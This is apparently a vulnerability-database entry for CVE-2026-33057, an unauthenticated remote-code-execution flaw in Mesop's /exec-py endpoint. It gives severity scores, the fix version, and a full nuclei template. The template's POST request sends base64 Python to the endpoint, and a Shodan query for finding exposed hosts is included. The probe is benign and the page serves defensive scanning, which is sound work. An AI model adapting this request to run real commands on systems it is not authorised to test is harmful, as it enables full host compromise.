Browse / CVEs / CVE-2026-33057
CVE-2026-33057· mesop-dev / mesop· CWE-94
Mesop AI Sandbox <= 1.2.2 - Remote Code Execution
criticalseverity
9.8CVSS score
6.6%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
Mesop <= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.
Impact
Attackers can execute arbitrary commands on the host, leading to full system compromise.
Fix
Upgrade to version 1.2.3 or later.
How to confirm it
Send: GET {{BaseURL}}
Positive when: status_code == 200 and contains_all(body, "<title>Mesop")
Send: @timeout: 20s
Positive when: contains "{{marker}}" AND status 500Run it with nuclei: nuclei -id CVE-2026-33057 -u <target>
The full check
id: CVE-2026-33057
info:
name: Mesop AI Sandbox <= 1.2.2 - Remote Code Execution
author: sammiee5311,liyander
severity: critical
description: |
Mesop <= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.
impact: |
Attackers can execute arbitrary commands on the host, leading to full system compromise.
remediation: |
Upgrade to version 1.2.3 or later.
reference:
- https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v
- https://nvd.nist.gov/vuln/detail/CVE-2026-33057
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-33057
epss-score: 0.06623
epss-percentile: 0.93917
cwe-id: CWE-94
metadata:
verified: true
max-request: 2
vendor: mesop-dev
product: mesop
shodan-query: html:"Mesop"
tags: cve,cve2026,mesop,rce,oss,vkev
variables:
marker: "{{rand_base(16)}}"
payload: '{{replace(replace(base64(concat("raise Exception(\"", marker, "\")")), "+", "-"), "/", "_")}}'
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "<title>Mesop")'
condition: and
internal: true
- raw:
- |
@timeout: 20s
POST /exec-py HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
code={{payload}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{marker}}"
- type: status
status:
- 500References
- https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v
- https://nvd.nist.gov/vuln/detail/CVE-2026-33057
Use this check only on systems you are authorised to test. Where the data comes from